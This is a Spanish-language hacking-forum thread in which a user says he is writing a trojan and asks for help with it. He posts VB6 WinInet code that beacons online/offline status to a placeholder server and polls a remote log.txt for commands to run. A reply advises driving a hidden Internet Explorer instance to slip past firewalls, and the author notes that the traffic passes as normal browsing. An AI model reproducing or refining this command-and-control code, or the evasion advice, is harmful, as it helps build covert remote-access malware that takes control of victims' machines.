elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado:


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  .NET (C#, VB.NET, ASP)
| | | |-+  Programación Visual Basic (Moderadores: LeandroA, seba123neo)
| | | | |-+  Problema con apis wininet
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Problema con apis wininet  (Leído 1,383 veces)
Spider-Net


Desconectado Desconectado

Mensajes: 1.165


Un gran poder conlleva una gran responsabilidad


Ver Perfil WWW
Problema con apis wininet
« en: 29 Agosto 2007, 19:52 pm »

Buenas, una vez más estoy aquí con un problemilla, bueno una duda existencial que tengo :O a ver si me la podéis resolver.

Estoy programando una aplicación, se le puede llamar troyano o como sea. La cosa es que por los problemas de conexiones con routers, firewalls y demás, el troyano funciona de la siguiente forma.
Un archivo PHP se aloja en cualquier server junto a un log.txt. El troyano envia los datos por GET osea http://miserver.com/ miarchivo.php?comando=comando a ejecutar
Este archivo.php captura el comando y lo deja en el log.txt

El server va descargando el archivo log.txt y según el comando que tenga, lo ejecuta.
Bien pues lo hago con la api wininet para ahorrar dependencias, ya sé que puedo hacer eso con Winsock y con Inet pero no quiero dependencias para el server de un troyano.
Bueno pues el código en general funciona todo bien, tarda apenas 1 ó 2 segundos en realizarse todo el proceso pero la cosa es que el server para comprobar que comando tiene que ejecutar tiene que descargar el archivo log.txt continuamente, lo hago con un timer, pero esque al tener que conectar tantas veces se ralentiza y no quiero que se consuman tantos recursos...

Me gustaría que conectase y una vez abierta la conexión el resto de veces descargase el archivo puesto que la conexión no la cierro, pero no funciona...alguien podría decirme como arreglarlo?, esque si obligadamente tengo que conectar cada ve que quiero recargar el archivo, osea cada segundo, puff, eso lo va a notar el rendimiento del pc, consume más recursos... se nota considerablemente...

El código es el siguiente, a ver si me podéis ayudar.
Código
  1. ' variables generales
  2. Dim data As String
  3. Dim x As Boolean
  4. ' Constantes para las funciones Api
  5. Const scUserAgent = "API-Guide test program"
  6. Const INTERNET_OPEN_TYPE_DIRECT = 1
  7. Const INTERNET_FLAG_RELOAD = &H80000000
  8. Const INTERNET_FLAG_NO_CACHE_WRITE = &H4000000
  9. ' Crea conexión a internet
  10. Private Declare Function InternetOpen Lib "wininet" Alias "InternetOpenA" ( _
  11.    ByVal sAgent As String, _
  12.    ByVal lAccessType As Long, _
  13.    ByVal sProxyName As String, _
  14.    ByVal sProxyBypass As String, _
  15.    ByVal lFlags As Long) As Long
  16. ' Abre URL
  17. Private Declare Function InternetOpenUrl Lib "wininet" Alias "InternetOpenUrlA" ( _
  18.    ByVal hInternetSession As Long, _
  19.    ByVal lpszUrl As String, _
  20.    ByVal lpszHeaders As String, _
  21.    ByVal dwHeadersLength As Long, _
  22.    ByVal dwFlags As Long, _
  23.    ByVal dwContext As Long) As Long
  24. ' Cierra conexión
  25. Private Declare Function InternetCloseHandle Lib "wininet" (ByVal hInet As Long) As Integer
  26. 'CONTENIDO DEL FICHERO
  27. Private Declare Function InternetReadFile Lib "wininet" ( _
  28. ByVal hFile As Long, _
  29. ByVal sBuffer As String, _
  30. ByVal lNumBytesToRead As Long, _
  31. lNumberOfBytesRead As Long) As Integer
  32. 'Variables para recargar constantemente
  33. Dim hOpen As Long
  34. Dim hFile As Long
  35.  
  36. '///////// MANDAMOS MENSAJE ONLINE AL EJECUTAR ///////////////
  37. Private Sub Form_Load()
  38. 'ASIGNAMOS VARIABLES Y ABRIMOS CONEXION
  39. Dim hOpen As Long
  40. Dim hFile As Long
  41. Dim Url As String
  42.  
  43. Url = "http://miserver/log.php?comando=online"
  44.  
  45.        hOpen = InternetOpen(scUserAgent, INTERNET_OPEN_TYPE_DIRECT, _
  46.        vbNullString, vbNullString, 0)
  47.        hFile = InternetOpenUrl(hOpen, Trim$(Url), vbNullString, _
  48.        ByVal 0&, INTERNET_FLAG_NO_CACHE_WRITE, ByVal 0&)
  49. DoEvents
  50. x = True
  51. Timer1.Enabled = True
  52. End Sub
  53. '///////// MANDAMOS MENSAJE OFFLINE AL CERRAR ///////////////
  54. Private Sub Form_Unload(Cancel As Integer)
  55. 'ASIGNAMOS VARIABLES Y ABRIMOS CONEXION
  56. Dim hOpen As Long
  57. Dim hFile As Long
  58. Dim Url As String
  59.  
  60. Url = "http://miserver.com/log.php?comando=offline"
  61.  
  62.        hOpen = InternetOpen(scUserAgent, INTERNET_OPEN_TYPE_DIRECT, _
  63.        vbNullString, vbNullString, 0)
  64.        hFile = InternetOpenUrl(hOpen, Trim$(Url), vbNullString, _
  65.        ByVal 0&, INTERNET_FLAG_NO_CACHE_WRITE, ByVal 0&)
  66. Espera (1)
  67. End Sub
  68. '//////////////////////////////////////////////////////////////
  69. Private Sub Timer1_Timer()
  70. 'ASIGNAMOS VARIABLES Y ABRIMOS CONEXION
  71. Dim sBuffer As String * 128
  72. Dim Ret As Long
  73. Dim str_Total As String
  74. Dim Url As String
  75. If x = True Then
  76.  
  77. Url = "http://miserver.com/log.txt"
  78.  
  79.        hOpen = InternetOpen(scUserAgent, INTERNET_OPEN_TYPE_DIRECT, _
  80.        vbNullString, vbNullString, 0)
  81.        hFile = InternetOpenUrl(hOpen, Trim$(Url), vbNullString, _
  82.        ByVal 0&, INTERNET_FLAG_NO_CACHE_WRITE, ByVal 0&)
  83. 'LEEMOS FICHERO
  84.  
  85.        Call InternetReadFile(hFile, sBuffer, 128, Ret)
  86.  
  87.        str_Total = sBuffer
  88.  
  89.        While Ret <> 0
  90.            Call InternetReadFile(hFile, sBuffer, 128, Ret)
  91.            str_Total = str_Total & Mid(sBuffer, 1, Ret)
  92.            DoEvents
  93.        Wend
  94.        x = False
  95.  
  96. Else
  97.    'DESCARGAMOS FICHERO
  98.     hFile = InternetOpenUrl(hOpen, Trim$(Url), vbNullString, _
  99.        ByVal 0&, INTERNET_FLAG_NO_CACHE_WRITE, ByVal 0&)
  100.        Call InternetReadFile(hFile, sBuffer, 128, Ret)
  101.  
  102.        str_Total = sBuffer
  103.        While Ret <> 0
  104.            Call InternetReadFile(hFile, sBuffer, 128, Ret)
  105.            str_Total = str_Total & Mid(sBuffer, 1, Ret)
  106.            DoEvents
  107.        Wend
  108.  
  109.        Text1.Text = str_Total
  110. End If
  111. End Sub
  112.  
  113. Sub Espera(Segundos As Single)
  114.  Dim ComienzoSeg As Single
  115.  Dim FinSeg As Single
  116.  ComienzoSeg = Timer
  117.  FinSeg = ComienzoSeg + Segundos
  118.  Do While FinSeg > Timer
  119.      DoEvents
  120.      If ComienzoSeg > Timer Then
  121.          FinSeg = FinSeg - 24 * 60 * 60
  122.      End If
  123.  Loop
  124. End Sub
  125.  


Como podéis ver la parte importante es la deltimer que es la que tiene un valor x=true, para que la primera vez haga el proceso completo pero luego la pone en false para que el timer solo descargue el archivo puesto que la conexión supuestamente está abierta porque yo no la cerré. Quizás me estoy equivocando y esto que quiero hacer no es factible, pero si es así aclarádmelo por favor, porque me estoy comiendo el coco demasiado xDD
Saludos,

y gracias de antemano.


En línea

cobein


Desconectado Desconectado

Mensajes: 759



Ver Perfil WWW
Re: Problema con apis wininet
« Respuesta #1 en: 29 Agosto 2007, 20:24 pm »

Un a cosa que podes hacer es poner Sleep 100 junto con cada DoEvents, esto ayuda a no cargar tanto el sistema,  parar el timer "Timer1.Enabled = False al entrar en Timer1_Timer y reanudalo antes de salir, por que si el proceso que esta dentro tarda mucho el timer se va a disparar nuevamente antes de que tu funcion termine. Con respecto a lo demas, mantener la conexión abierta no me parece buena idea y por ultimo, si no tienes nada para detener or pasar los Firewalls este programa posiblemente sea bloqueado. Si lo que vas a hacer es nada mas que eso, una idea simple es abrir una instancia de Internet Explorer de manera oculta, y usar el shell para manejarla, como Iexplore esta habilitado en casi todas las maquinas no habria problema.


En línea

http://www.advancevb.com.ar
Más Argentino que el morcipan
Aguante el Uvita tinto, Tigre, Ford y seba123neo
Karcrack es un capo.
Spider-Net


Desconectado Desconectado

Mensajes: 1.165


Un gran poder conlleva una gran responsabilidad


Ver Perfil WWW
Re: Problema con apis wininet
« Respuesta #2 en: 29 Agosto 2007, 21:07 pm »

Jejeje no, no saltan los firewalls porque la llamada es a una web, es igual que visitar una página web cualquiera, como si abres el internet explorer y escribes www.unserver.com/unarchivo.txt. Por eso no salta el firewall y con mi programa tampoco salta, no porque yo lo digo,sino porque está probado, y va bastante bien.

Bueno voy a probar a hacer esas cosas que me dijiste a ver si con esos cambios se ralentiza menos la conexión, gracias y saludos :P
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Problema con Wininet
Programación C/C++
Riki_89D 5 3,087 Último mensaje 11 Agosto 2011, 10:10 am
por Riki_89D
Problemas error wininet 403
Programación C/C++
Riki_89D 0 1,821 Último mensaje 16 Agosto 2011, 21:09 pm
por Riki_89D
Problema cookie o sesiones Wininet
Programación C/C++
Riki_89D 0 1,555 Último mensaje 1 Septiembre 2011, 16:25 pm
por Riki_89D
[Vb6] WinInet Asynchronous FTP
Programación Visual Basic
scapula 0 5,822 Último mensaje 3 Noviembre 2011, 03:57 am
por scapula
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines